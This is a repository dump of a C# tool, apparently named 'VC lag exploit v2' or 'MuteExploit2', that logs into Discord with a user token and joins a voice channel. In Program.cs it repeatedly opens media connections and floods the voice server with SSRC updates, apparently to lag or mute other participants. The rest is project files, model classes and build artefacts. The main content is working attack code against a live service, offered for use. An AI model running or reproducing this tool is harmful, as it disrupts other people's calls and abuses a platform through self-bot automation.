├── LagExploit2.sln
├── LagExploit2
├── App.config
├── LagExploit2.csproj
├── Modded
│ ├── CodecType.cs
│ ├── DiscordMediaConnection.cs
│ ├── DiscordMediaIdentify.cs
│ ├── DiscordMediaReady.cs
│ ├── DiscordSessionDescription.cs
│ ├── MediaCodec.cs
│ ├── MediaCodecSelection.cs
│ ├── MediaProtocolData.cs
│ ├── MediaProtocolSelection.cs
│ ├── StreamSSRC.cs
│ └── VideoMediaCodec.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── bin
│ └── Debug
│ │ ├── Anarchy.dll
│ │ ├── Anarchy.pdb
│ │ ├── Leaf.xNet.dll
│ │ ├── Leaf.xNet.xml
│ │ ├── MuteExploit2.exe
│ │ ├── MuteExploit2.exe.config
│ │ ├── MuteExploit2.pdb
│ │ ├── Newtonsoft.Json.dll
│ │ ├── Newtonsoft.Json.xml
│ │ ├── Token.txt
│ │ └── websocket-sharp.dll
├── obj
│ └── Debug
│ │ ├── .NETFramework,Version=v4.7.AssemblyAttributes.cs
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── LagExploit2.csproj.AssemblyReference.cache
│ │ ├── MuteExploit2.csproj.AssemblyReference.cache
│ │ ├── MuteExploit2.csproj.CopyComplete
│ │ ├── MuteExploit2.csproj.CoreCompileInputs.cache
│ │ ├── MuteExploit2.csproj.FileListAbsolute.txt
│ │ ├── MuteExploit2.csproj.SuggestedBindingRedirects.cache
│ │ ├── MuteExploit2.exe
│ │ ├── MuteExploit2.exe.config
│ │ └── MuteExploit2.pdb
└── packages.config
├── README.md
└── packages
├── Leaf.xNet.5.2.10
├── .signature.p7s
├── Leaf.xNet.5.2.10.nupkg
├── icon.png
└── lib
│ ├── net45
│ ├── Leaf.xNet.dll
│ └── Leaf.xNet.xml
│ └── netstandard2.0
│ ├── Leaf.xNet.dll
│ └── Leaf.xNet.xml
├── Newtonsoft.Json.12.0.3
├── .signature.p7s
├── LICENSE.md
├── Newtonsoft.Json.12.0.3.nupkg
├── lib
│ ├── net20
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net35
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net40
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net45
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── netstandard1.0
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── netstandard1.3
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── netstandard2.0
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── portable-net40+sl5+win8+wp8+wpa81
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ └── portable-net45+win8+wp8+wpa81
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
└── packageIcon.png
├── Newtonsoft.Json.13.0.1
├── .signature.p7s
├── LICENSE.md
├── Newtonsoft.Json.13.0.1.nupkg
├── lib
│ ├── net20
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net35
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net40
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net45
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── netstandard1.0
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── netstandard1.3
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ └── netstandard2.0
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
└── packageIcon.png
└── better-websocket-sharp.1.0.2.1
├── .signature.p7s
├── better-websocket-sharp.1.0.2.1.nupkg
└── lib
└── net35
└── websocket-sharp.dll
/LagExploit2.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.0.32126.317
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Anarchy", "..\Anarchy\Anarchy\Anarchy.csproj", "{7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LagExploit2", "LagExploit2\LagExploit2.csproj", "{E05044E6-76D7-44E8-85DB-681F38C1086A}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}.Release|Any CPU.ActiveCfg = Debug|Any CPU
19 | {7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}.Release|Any CPU.Build.0 = Debug|Any CPU
20 | {E05044E6-76D7-44E8-85DB-681F38C1086A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
21 | {E05044E6-76D7-44E8-85DB-681F38C1086A}.Debug|Any CPU.Build.0 = Debug|Any CPU
22 | {E05044E6-76D7-44E8-85DB-681F38C1086A}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {E05044E6-76D7-44E8-85DB-681F38C1086A}.Release|Any CPU.Build.0 = Release|Any CPU
24 | {0CA77EB7-37DC-4C02-886C-F5E01569934C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
25 | {0CA77EB7-37DC-4C02-886C-F5E01569934C}.Debug|Any CPU.Build.0 = Debug|Any CPU
26 | {0CA77EB7-37DC-4C02-886C-F5E01569934C}.Release|Any CPU.ActiveCfg = Release|Any CPU
27 | {0CA77EB7-37DC-4C02-886C-F5E01569934C}.Release|Any CPU.Build.0 = Release|Any CPU
28 | EndGlobalSection
29 | GlobalSection(SolutionProperties) = preSolution
30 | HideSolutionNode = FALSE
31 | EndGlobalSection
32 | GlobalSection(ExtensibilityGlobals) = postSolution
33 | SolutionGuid = {AD6B1582-081F-4C69-9BBC-B909FDD24DDD}
34 | EndGlobalSection
35 | EndGlobal
36 |
--------------------------------------------------------------------------------
/LagExploit2/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/LagExploit2/LagExploit2.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {E05044E6-76D7-44E8-85DB-681F38C1086A}
8 | Exe
9 | MuteExploit2
10 | MuteExploit2
11 | v4.7
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 | ..\packages\Newtonsoft.Json.13.0.1\lib\net45\Newtonsoft.Json.dll
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 | ..\packages\better-websocket-sharp.1.0.2.1\lib\net35\websocket-sharp.dll
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | {7f6f1aac-e4dc-4fe7-8166-5b7aec6feb4c}
73 | Anarchy
74 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/CodecType.cs:
--------------------------------------------------------------------------------
1 | namespace MuteExploit2
2 | {
3 | internal enum CodecType
4 | {
5 | Audio,
6 | Video
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/DiscordMediaConnection.cs:
--------------------------------------------------------------------------------
1 | using Discord.Gateway;
2 | using Discord.Media;
3 | using Discord.WebSockets;
4 | using System;
5 | using System.Collections.Generic;
6 | using System.Linq;
7 | using System.Net;
8 | using System.Net.Sockets;
9 | using System.Text;
10 | using System.Threading;
11 | using System.Threading.Tasks;
12 | using WebSocketSharp;
13 |
14 | namespace MuteExploit2
15 | {
16 | internal class DiscordMediaConnection : DiscordWebSocket
17 | {
18 | public delegate void WSMessageHandler(DiscordMediaConnection connection, DiscordWebSocketMessage message);
19 | public event WSMessageHandler OnMessage;
20 |
21 | public delegate void ReadyHandler(DiscordMediaConnection connection);
22 | public event ReadyHandler OnReady;
23 |
24 | public delegate void KillHandler(DiscordMediaConnection connection, CloseEventArgs args);
25 | public event KillHandler OnDead;
26 |
27 | internal static readonly Dictionary SupportedCodecs = new Dictionary()
28 | {
29 | { "opus", new MediaCodec() { Name = "opus", Type = CodecType.Audio, PayloadType = 120, Priority = 1000 } },
30 | { "H264", new VideoMediaCodec() { Name = "H264", Type = CodecType.Video, PayloadType = 101, Priority = 1000, RtxPayloadType = 102 } }
31 | };
32 |
33 | public MediaConnectionState State { get; private set; }
34 |
35 | private readonly ulong _serverId;
36 |
37 | private readonly DiscordMediaServer _server;
38 |
39 | public DiscordSSRC SSRC { get; private set; }
40 | public byte[] SecretKey { get; set; }
41 |
42 | internal UdpClient UdpClient { get; private set; }
43 | public IPEndPoint ServerEndpoint { get; private set; }
44 |
45 | private readonly DiscordSocketClient _parentClient;
46 |
47 | public bool Authenticate { get; set; }
48 |
49 | public DiscordMediaConnection(DiscordSocketClient parentClient, ulong serverId, DiscordMediaServer server) : base("wss://" + server.Endpoint + "?v=4")
50 | {
51 | SSRC = new DiscordSSRC();
52 |
53 | _parentClient = parentClient;
54 |
55 | _server = server;
56 | _serverId = serverId;
57 |
58 | OnMessageReceived += HandleMessage;
59 | OnClosed += HandleClose;
60 | }
61 |
62 | private void HandleClose(object sender, CloseEventArgs args)
63 | {
64 | State = MediaConnectionState.NotConnected;
65 |
66 | if (args.Code == 1006)
67 | {
68 | Thread.Sleep(200);
69 | Task.Run(() => Connect());
70 | return;
71 | }
72 | else if (args.Code >= 4000)
73 | {
74 | var discordCode = (DiscordMediaCloseCode)args.Code;
75 |
76 | if (discordCode == DiscordMediaCloseCode.SessionTimeout || discordCode == DiscordMediaCloseCode.ServerCrashed)
77 | {
78 | Task.Run(() => Connect());
79 | return;
80 | }
81 | }
82 |
83 | if (args.Code != 1004)
84 | OnDead?.Invoke(this, args);
85 | }
86 |
87 | private void HandleMessage(object sender, DiscordWebSocketMessage message)
88 | {
89 | try
90 | {
91 | switch (message.Opcode)
92 | {
93 | case DiscordMediaOpcode.Ready:
94 | DiscordMediaReady ready = message.Data.ToObject();
95 |
96 | SSRC = new DiscordSSRC() { Audio = ready.SSRC };
97 | ServerEndpoint = new IPEndPoint(IPAddress.Parse(ready.IP), ready.Port);
98 |
99 | UdpClient = new UdpClient();
100 | UdpClient.Connect(ServerEndpoint);
101 |
102 | SelectProtocol(ServerEndpoint);
103 | break;
104 | case DiscordMediaOpcode.SessionDescription:
105 | var description = message.Data.ToObject();
106 |
107 | SecretKey = description.SecretKey;
108 |
109 | State = MediaConnectionState.Ready;
110 | OnReady?.Invoke(this);
111 | break;
112 | case DiscordMediaOpcode.Hello:
113 | State = MediaConnectionState.Connected;
114 |
115 | while (!Authenticate) { Thread.Sleep(1); }
116 |
117 | Send(DiscordMediaOpcode.Identify, new DiscordMediaIdentify()
118 | {
119 | ServerId = _serverId,
120 | UserId = _parentClient.User.Id,
121 | SessionId = _parentClient.SessionId,
122 | Token = _server.Token,
123 | Video = true
124 | });
125 |
126 | StartHeartbeaterAsync(message.Data.Value("heartbeat_interval"));
127 | break;
128 | default:
129 | OnMessage?.Invoke(this, message);
130 | break;
131 | }
132 | }
133 | catch (InvalidOperationException) { }
134 | }
135 |
136 | public new void Connect()
137 | {
138 | State = MediaConnectionState.Connecting;
139 | base.Connect();
140 | }
141 |
142 |
143 | public void SetSSRC(uint audioSsrc)
144 | {
145 | SSRC = new DiscordSSRC() { Audio = audioSsrc, Video = audioSsrc + 1, Rtx = audioSsrc + 2 };
146 | Send(DiscordMediaOpcode.SSRCUpdate, SSRC);
147 | }
148 |
149 |
150 | private async void StartHeartbeaterAsync(int interval)
151 | {
152 | try
153 | {
154 | while (true)
155 | {
156 | Send(DiscordMediaOpcode.Heartbeat, DateTimeOffset.UtcNow.ToUnixTimeMilliseconds());
157 | await Task.Delay(interval);
158 | }
159 | }
160 | catch (InvalidOperationException) { }
161 | }
162 |
163 |
164 | private void SelectProtocol(IPEndPoint localEndpoint)
165 | {
166 | Send(DiscordMediaOpcode.SelectProtocol, new MediaProtocolSelection()
167 | {
168 | Protocol = "udp",
169 | ProtocolData = new MediaProtocolData()
170 | {
171 | Host = localEndpoint.Address.ToString(),
172 | Port = localEndpoint.Port,
173 | EncryptionMode = "xsalsa20_poly1305"
174 | },
175 | RtcConnectionId = Guid.NewGuid().ToString(),
176 | Codecs = SupportedCodecs.Values.ToList()
177 | });
178 | }
179 | }
180 | }
181 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/DiscordMediaIdentify.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 |
3 | namespace Discord.Media
4 | {
5 | internal class DiscordMediaIdentify
6 | {
7 | [JsonProperty("server_id")]
8 | public ulong ServerId { get; set; }
9 |
10 |
11 | [JsonProperty("user_id")]
12 | public ulong UserId { get; set; }
13 |
14 |
15 | [JsonProperty("session_id")]
16 | public string SessionId { get; set; }
17 |
18 |
19 | [JsonProperty("token")]
20 | public string Token { get; set; }
21 |
22 |
23 | [JsonProperty("video")]
24 | public bool Video { get; set; }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/DiscordMediaReady.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using Newtonsoft.Json;
3 |
4 | namespace MuteExploit2
5 | {
6 | internal class DiscordMediaReady
7 | {
8 | [JsonProperty("ssrc")]
9 | public uint SSRC { get; private set; }
10 |
11 |
12 | [JsonProperty("ip")]
13 | public string IP { get; private set; }
14 |
15 |
16 | [JsonProperty("port")]
17 | public int Port { get; private set; }
18 |
19 |
20 | [JsonProperty("modes")]
21 | public List EncryptionModes { get; private set; }
22 |
23 |
24 | [JsonProperty("streams")]
25 | public List Streams { get; private set; }
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/DiscordSessionDescription.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 |
3 | namespace MuteExploit2
4 | {
5 | internal class DiscordSessionDescription : MediaCodecSelection
6 | {
7 | [JsonProperty("media_session_id")]
8 | public string SessionId { get; private set; }
9 |
10 |
11 | [JsonProperty("mode")]
12 | public string EncryptionMode { get; private set; }
13 |
14 |
15 | [JsonProperty("secret_key")]
16 | public byte[] SecretKey { get; private set; }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/MediaCodec.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using System;
3 |
4 | namespace MuteExploit2
5 | {
6 | internal class MediaCodec
7 | {
8 | [JsonProperty("name")]
9 | public string Name { get; set; }
10 |
11 |
12 | [JsonProperty("type")]
13 | private string _type;
14 |
15 | public CodecType Type
16 | {
17 | get
18 | {
19 | return (CodecType)Enum.Parse(typeof(CodecType), _type, true);
20 | }
21 | set
22 | {
23 | _type = value.ToString().ToLower();
24 | }
25 | }
26 |
27 |
28 | [JsonProperty("priority")]
29 | public int Priority { get; set; } = 1000;
30 |
31 |
32 | [JsonProperty("payload_type")]
33 | public byte PayloadType { get; set; }
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/MediaCodecSelection.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 |
3 | namespace MuteExploit2
4 | {
5 | internal class MediaCodecSelection
6 | {
7 | [JsonProperty("media_session_id")]
8 | internal string NewSessionId { get; private set; }
9 |
10 |
11 | [JsonProperty("audio_codec")]
12 | public string AudioCodec { get; set; }
13 |
14 |
15 | [JsonProperty("video_codec")]
16 | public string VideoCodec { get; set; }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/MediaProtocolData.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 |
3 | namespace MuteExploit2
4 | {
5 | internal class MediaProtocolData
6 | {
7 | [JsonProperty("address")]
8 | public string Host { get; set; }
9 |
10 |
11 | [JsonProperty("port")]
12 | public int Port { get; set; }
13 |
14 |
15 | [JsonProperty("mode")]
16 | public string EncryptionMode { get; set; }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/MediaProtocolSelection.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using System.Collections.Generic;
3 |
4 | namespace MuteExploit2
5 | {
6 | internal class MediaProtocolSelection
7 | {
8 | [JsonProperty("protocol")]
9 | public string Protocol { get; set; }
10 |
11 |
12 | [JsonProperty("data")]
13 | public MediaProtocolData ProtocolData { get; set; }
14 |
15 |
16 | [JsonProperty("rtc_connection_id")]
17 | public string RtcConnectionId { get; set; }
18 |
19 |
20 | [JsonProperty("codecs")]
21 | public List Codecs { get; set; }
22 |
23 |
24 | [JsonProperty("address")]
25 | public string Host
26 | {
27 | get { return ProtocolData.Host; }
28 | }
29 |
30 |
31 | [JsonProperty("port")]
32 | public int Port
33 | {
34 | get { return ProtocolData.Port; }
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/StreamSSRC.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 |
3 | namespace MuteExploit2
4 | {
5 | public class StreamSSRC
6 | {
7 | [JsonProperty("type")]
8 | public string Type { get; private set; }
9 |
10 | [JsonProperty("ssrc")]
11 | public uint SSRC { get; private set; }
12 |
13 | [JsonProperty("rtx_ssrc")]
14 | public uint RtxSsrc { get; private set; }
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/LagExploit2/Modded/VideoMediaCodec.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 |
3 | namespace MuteExploit2
4 | {
5 | internal class VideoMediaCodec : MediaCodec
6 | {
7 | public VideoMediaCodec()
8 | {
9 | Type = CodecType.Video;
10 | }
11 |
12 | [JsonProperty("rtx_payload_type")]
13 | public int RtxPayloadType { get; set; }
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/LagExploit2/Program.cs:
--------------------------------------------------------------------------------
1 | using Discord;
2 | using Discord.Gateway;
3 | using System;
4 | using System.Collections.Concurrent;
5 | using System.Collections.Generic;
6 | using System.IO;
7 | using System.Linq;
8 | using System.Text;
9 | using System.Threading;
10 | using System.Threading.Tasks;
11 |
12 | namespace MuteExploit2
13 | {
14 | internal class Program
15 | {
16 | private static DiscordMediaServer _server;
17 |
18 | private static ConcurrentQueue _connectionQueue = new ConcurrentQueue();
19 |
20 | static void Main(string[] args)
21 | {
22 | var client = new DiscordSocketClient(new DiscordSocketConfig() { HandleIncomingMediaData = false });
23 | client.OnMediaServer += Client_OnMediaServer;
24 | client.OnLoggedIn += Client_OnLoggedIn;
25 | client.Login(File.ReadAllText("Token.txt"));
26 |
27 | Thread.Sleep(-1);
28 | }
29 |
30 | private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
31 | {
32 | Console.WriteLine("Logged into " + client.User.ToString());
33 |
34 | Console.Write("Channel ID: ");
35 | ulong channelId = ulong.Parse(Console.ReadLine());
36 |
37 | try
38 | {
39 | var channel = (GuildChannel)client.GetChannel(channelId);
40 | client.GetVoiceClient(channel.Guild.Id).Connect(channel.Id);
41 | }
42 | catch (DiscordHttpException)
43 | {
44 | Console.WriteLine("Unknown channel");
45 | }
46 | }
47 |
48 | private static void Client_OnMediaServer(DiscordSocketClient client, DiscordMediaServer args)
49 | {
50 | Console.WriteLine("Got media server");
51 | _server = args;
52 |
53 | Task.Run(() => StartConnectionStarter(client));
54 |
55 | Task.Run(() =>
56 | {
57 | while (true)
58 | {
59 | DiscordMediaConnection connection;
60 | while (!_connectionQueue.TryDequeue(out connection))
61 | Thread.Sleep(1);
62 |
63 | connection.Authenticate = true;
64 |
65 | while (connection.State < Discord.Media.MediaConnectionState.Ready)
66 | Thread.Sleep(1);
67 |
68 | Console.WriteLine("Sending SSRC's");
69 |
70 | for (uint i = 0; i < 190; i++)
71 | {
72 | if (connection.State == Discord.Media.MediaConnectionState.Ready)
73 | {
74 | try
75 | {
76 | connection.SetSSRC(i);
77 | }
78 | catch (InvalidOperationException)
79 | {
80 | break;
81 | }
82 | }
83 | else break;
84 | }
85 | }
86 | });
87 | }
88 |
89 | private static void StartConnectionStarter(DiscordSocketClient client)
90 | {
91 | while (true)
92 | {
93 | if (_connectionQueue.Count < 3)
94 | {
95 | var conn = new DiscordMediaConnection(client, _server.Guild.Id, _server);
96 | Task.Run(() => conn.Connect());
97 |
98 | _connectionQueue.Enqueue(conn);
99 | }
100 | else Thread.Sleep(100);
101 | }
102 | }
103 | }
104 | }
105 |
--------------------------------------------------------------------------------
/LagExploit2/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("MuteExploit2")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("MuteExploit2")]
13 | [assembly: AssemblyCopyright("Copyright © 2022")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("e05044e6-76d7-44e8-85db-681f38c1086a")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/Anarchy.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/Anarchy.dll
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/Anarchy.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/Anarchy.pdb
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/Leaf.xNet.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/Leaf.xNet.dll
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/MuteExploit2.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/MuteExploit2.exe
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/MuteExploit2.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/MuteExploit2.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/MuteExploit2.pdb
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/Token.txt:
--------------------------------------------------------------------------------
1 | your token here
--------------------------------------------------------------------------------
/LagExploit2/bin/Debug/websocket-sharp.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/websocket-sharp.dll
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/.NETFramework,Version=v4.7.AssemblyAttributes.cs:
--------------------------------------------------------------------------------
1 | //
2 | using System;
3 | using System.Reflection;
4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7", FrameworkDisplayName = ".NET Framework 4.7")]
5 |
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/LagExploit2.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/LagExploit2.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/MuteExploit2.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/MuteExploit2.csproj.CopyComplete:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/MuteExploit2.csproj.CopyComplete
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/MuteExploit2.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 02a644ca33287b52897c75fce3e2035fca26a254
2 |
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/MuteExploit2.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\MuteExploit2.exe.config
2 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\MuteExploit2.exe
3 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\MuteExploit2.pdb
4 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Anarchy.dll
5 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Newtonsoft.Json.dll
6 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Leaf.xNet.dll
7 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\websocket-sharp.dll
8 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Anarchy.pdb
9 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Newtonsoft.Json.xml
10 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Leaf.xNet.xml
11 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.csproj.AssemblyReference.cache
12 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.csproj.SuggestedBindingRedirects.cache
13 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.csproj.CoreCompileInputs.cache
14 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.csproj.CopyComplete
15 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.exe
16 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.pdb
17 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.exe.config
18 |
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/MuteExploit2.csproj.SuggestedBindingRedirects.cache:
--------------------------------------------------------------------------------
1 | a68ceea040833d9a1037cf43b53653e95cb9f3a4
2 |
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/MuteExploit2.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/MuteExploit2.exe
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/MuteExploit2.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
